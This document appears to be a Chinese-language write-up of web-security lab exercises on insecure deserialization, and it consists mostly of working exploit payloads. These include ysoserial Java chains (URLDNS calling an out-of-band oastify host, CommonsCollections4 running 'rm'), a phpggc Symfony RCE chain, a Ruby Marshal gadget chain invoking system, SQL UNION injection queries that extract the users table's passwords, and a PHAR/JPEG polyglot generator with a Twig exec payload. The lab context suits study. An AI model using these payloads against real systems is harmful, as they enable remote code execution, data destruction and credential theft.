修改序列化对象
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3d
修改序列化数据类型
<@base64url>O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}<@/base64url>
用应用程序功能来利用不安全的反序列化
<@base64url>O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v02r4gwi0w62akba0l5ltkth9130fl6m";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}<@/base64url>
PHP 中的任意对象注入
可以通过~ 获取源码
<?php class CustomTemplate { private $template_file_path ; private $lock_file_path ; public function __construct ($template_file_path ) { $this ->template_file_path = $template_file_path ; $this ->lock_file_path = $template_file_path . ".lock" ; } private function isTemplateLocked ( ) { return file_exists ($this ->lock_file_path); } public function getTemplate ( ) { return file_get_contents ($this ->template_file_path); } public function saveTemplate ($template ) { if (!isTemplateLocked ()) { if (file_put_contents ($this ->lock_file_path, "" ) === false ) { throw new Exception ("Could not write to " . $this ->lock_file_path); } if (file_put_contents ($this ->template_file_path, $template ) === false ) { throw new Exception ("Could not write to " . $this ->template_file_path); } } } function __destruct ( ) { if (file_exists ($this ->lock_file_path)) { unlink ($this ->lock_file_path); } } } ?>
<?php class CustomTemplate { private $lock_file_path ; public function __construct ($template_file_path ) { $this ->lock_file_path = "/home/carlos/morale.txt" ; } } $o = new CustomTemplate ();echo base64_encode (serialize ($o ));?>
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MzA6IgBDdXN0b21UZW1wbGF0ZQBsb2NrX2ZpbGVfcGF0aCI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
利用 Apache Commons 进行 Java 反序列化
这次很明显这里是java 的反序列化
java -jar ysoserial.jar URLDNS "http://c1eqwxdb7wm92ze0bbyuc85bc2it6nuc.oastify.com" | base64 -w 0
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALGMxZXF3eGRiN3dtOTJ6ZTBiYnl1Yzg1YmMyaXQ2bnVjLm9hc3RpZnkuY29tdAAAcQB+AAV0AARodHRwcHh0ADNodHRwOi8vYzFlcXd4ZGI3d205MnplMGJieXVjODViYzJpdDZudWMub2FzdGlmeS5jb214
java -jar ysoserial.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64 -w 0
使用预构建的小工具链利用 PHP 反序列化
是个phpinfo()
看到框架版本是 Symfony Version: 4.3.6
https://github.com/symfony/symfony/archive/refs/tags/v4.3.6.zip
下载 phpggc
https://github.com/ambionics/phpggc/archive/refs/heads/master.zip
看到这条链其实不长
可以 发现返回了一个 TagAwareAdapter 对象 其中两个参数分别是 数组 CacheItem 和 ProxyAdapter
也就是说反序列化的起点就是在 TagAwareAdapter
看到只存在一个 __destruct方法
__destruct()->commit()->invalidateTags([])
其中注意这里的 $this->deferred 是
array( new \Symfony\Component\Cache\CacheItem(1, $parameter))
$this->pool 是
new \Symfony\Component\Cache\Adapter\ProxyAdapter(1 , $function))
遍历数组 也就是取出来一个CacheItem 对象 接着调用了
ProxyAdapter()->saveDeferred($item)
首先这里的 CacheItemInterface $item 需要是 CacheItemInterface 类型 而我们的是 CacheItem 类型
可以看到其中 CacheItemInterface 并不属于 Symfony 这个包里面的 因此我们需要额外下载这个 包
可以看到实现了 ItemInterface
ItemInterface 继承了 CacheItemInterface 那么这里当然类型就相当了
断点处就是终点 其中 $this->setInnerItem 是我们传入的 任意方法
$innerItem 是我们传入的方法参数
还需要让if通过 并将innerItem 赋值 也就是需要 两个 poolHash 相等 而至于为什么要使用 \0*\0
其原因主要是由于 这里的数组是通过对象转换来的 而innerItem 属性是protected 其中数组的键名会被 null*null 前缀 而 \0 代表null
因此现在我们可以通过 phpggc 生成payload 了
./phpggc -l | grep Symfony
./phpggc Symfony/RCE4 exec "rm -rf rm /home/carlos/morale.txt" | base64 -w 0
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czozMzoicm0gLXJmIHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo=
需要注意的是这里还存在 sig_hmac_sha1 的签名 我们需要先寻找到secret_key
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czozMzoicm0gLXJmIHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo= ","sig_hmac_sha1":"169f98a7bdfe7ca650205b982a90f135fc4c1a9f"}
使用记录的小工具链利用 Ruby 反序列化
可以看到是基于 ruby的
通过搜索 可以发现 pop链
Gem::SpecFetcher Gem::Installer module Gem class Requirement def marshal_dump [@requirements ] end end end wa1 = Net::WriteAdapter.new(Kernel, :system ) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets' , wa1) rs.instance_variable_set('@git_set' , "rm /home/carlos/morale.txt" ) wa2 = Net::WriteAdapter.new(rs, :resolve ) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read' , 0 ) i.instance_variable_set('@header' , "aaa" ) n = Net::BufferedIO.allocate n.instance_variable_set('@io' , i) n.instance_variable_set('@debug_output' , wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io' , n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements' , t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts Base64.encode64(payload)
注意最后一行
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
开发用于 Java 反序列化的自定义小工具链
发现源码
发现还有一个 源码
可以看到AccessTokenUser 实现了 Serialize 接口 说明可以被反序列化
这里存在 也可以反序列化 并且存在 readObject() 方法 并且在断点处存在一处 sql注入
稍微处理一下 ProductTemplate.java文件 生成 序列化对象
package data.productcatalog;import java.io.Serializable;public class ProductTemplate implements Serializable { static final long serialVersionUID = 1L ; private final String id; public ProductTemplate (String id) { this .id = id; } }
Test.java
import data.productcatalog.ProductTemplate;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;public class Test { public static void main (String[] args) throws Exception { ProductTemplate productTemplate = new ProductTemplate ("'" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(productTemplate); byte [] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); } }
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
这里可以发现 这里是 1 的16进制
尝试注入
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
所以总共八列
' UNION SELECT NULL,NULL,'a',NULL,NULL,NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,'a',NULL,NULL,NULL,NULL--
所以第四列不是字符串
' UNION SELECT NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables--
' UNION SELECT NULL,NULL,NULL,cast(column_name as numeric),NULL,NULL,NULL,NULL from information_schema.columns where table_name='users'--
' UNION SELECT NULL,NULL,NULL,cast((select column_name from information_schema.columns where table_name='users' limit 1 offset 1) as numeric),NULL,NULL,NULL,NULL from users--
' UNION SELECT NULL,NULL,NULL,cast(password as numeric),NULL,NULL,NULL,NULL from users--
开发用于 PHP 反序列化的自定义小工具链
<?php class CustomTemplate { private $default_desc_type ; private $desc ; public $product ; public function __construct ($desc_type ='HTML_DESC' ) { $this ->desc = new Description (); $this ->default_desc_type = $desc_type ; $this ->build_product (); } public function __sleep ( ) { return ["default_desc_type" , "desc" ]; } public function __wakeup ( ) { $this ->build_product (); } private function build_product ( ) { $this ->product = new Product ($this ->default_desc_type, $this ->desc); } } class Product { public $desc ; public function __construct ($default_desc_type , $desc ) { $this ->desc = $desc ->$default_desc_type ; } } class Description { public $HTML_DESC ; public $TEXT_DESC ; public function __construct ( ) { $this ->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>' ; $this ->TEXT_DESC = 'This product is cool in text' ; } } class DefaultMap { private $callback ; public function __construct ($callback ) { $this ->callback = $callback ; } public function __get ($name ) { return call_user_func ($this ->callback, $name ); } } ?>
简单构造一下
<?php class CustomTemplate { private $default_desc_type ; private $desc ; public $product ; public function __construct ($desc_type ='HTML_DESC' ) { $this ->desc = new DefaultMap ('system' ); $this ->default_desc_type = 'rm /home/carlos/morale.txt' ; } } class Product { public $desc ; public function __construct ($default_desc_type , $desc ) { $this ->desc = $desc ->$default_desc_type ; } } class DefaultMap { private $callback ; public function __construct ($callback ) { $this ->callback = $callback ; } } $f = new CustomTemplate ();echo base64_encode (serialize ($f ));?>
CustomTemplate->__wakeup()->build_product() Product-> __construct($default_desc_type, $desc) DefaultMap->__get($name)
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjM6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo2OiJzeXN0ZW0iO31zOjc6InByb2R1Y3QiO047fQ==
使用 PHAR 反序列化部署自定义小工具链
CustomTemplate.php
<?php class CustomTemplate { private $template_file_path ; public function __construct ($template_file_path ) { $this ->template_file_path = $template_file_path ; } private function isTemplateLocked ( ) { return file_exists ($this ->lockFilePath ()); } public function getTemplate ( ) { return file_get_contents ($this ->template_file_path); } public function saveTemplate ($template ) { if (!isTemplateLocked ()) { if (file_put_contents ($this ->lockFilePath (), "" ) === false ) { throw new Exception ("Could not write to " . $this ->lockFilePath ()); } if (file_put_contents ($this ->template_file_path, $template ) === false ) { throw new Exception ("Could not write to " . $this ->template_file_path); } } } function __destruct ( ) { @unlink ($this ->lockFilePath ()); } private function lockFilePath ( ) { return 'templates/' . $this ->template_file_path . '.lock' ; } } ?>
Blog.php
<?php require_once ('/usr/local/envs/php-twig-1.19/vendor/autoload.php' );class Blog { public $user ; public $desc ; private $twig ; public function __construct ($user , $desc ) { $this ->user = $user ; $this ->desc = $desc ; } public function __toString ( ) { return $this ->twig->render ('index' , ['user' => $this ->user]); } public function __wakeup ( ) { $loader = new Twig_Loader_Array ([ 'index' => $this ->desc, ]); $this ->twig = new Twig_Environment ($loader ); } public function __sleep ( ) { return ["user" , "desc" ]; } } ?>
生成链
<?php function generate_base_phar ($o , $prefix ) { global $tempname ; @unlink ($tempname ); $phar = new Phar ($tempname ); $phar ->startBuffering (); $phar ->addFromString ("test.txt" , "test" ); $phar ->setStub ("$prefix <?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($o ); $phar ->stopBuffering (); $basecontent = file_get_contents ($tempname ); @unlink ($tempname ); return $basecontent ; } function generate_polyglot ($phar , $jpeg ) { $phar = substr ($phar , 6 ); $len = strlen ($phar ) + 2 ; $new = substr ($jpeg , 0 , 2 ) . "\xff\xfe" . chr (($len >> 8 ) & 0xff ) . chr ($len & 0xff ) . $phar . substr ($jpeg , 2 ); $contents = substr ($new , 0 , 148 ) . " " . substr ($new , 156 ); $chksum = 0 ; for ($i =0 ; $i <512 ; $i ++){ $chksum += ord (substr ($contents , $i , 1 )); } $oct = sprintf ("%07o" , $chksum ); $contents = substr ($contents , 0 , 148 ) . $oct . substr ($contents , 155 ); return $contents ; } class Blog { public $user ; public $desc ; public function __construct ( ) { $this ->desc='{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}' ; $this ->user='user' ; } } class CustomTemplate { private $template_file_path ; public function __construct ($template_file_path ) { $this ->template_file_path = $template_file_path ; } } $b = new Blog ();$object = new CustomTemplate ($b );$tempname = 'temp.tar.phar' ; $jpeg = file_get_contents ('wanan.jpg' );$outfile = 'out.jpg' ;$payload = $object ;$prefix = '' ;var_dump (serialize ($object ));file_put_contents ($outfile , generate_polyglot (generate_base_phar ($payload , $prefix ), $jpeg ));
需要先修改php.ini
需要有一张基准 jpg图片
上传
/cgi-bin/avatar.php?avatar=phar://wiener
触发反序列化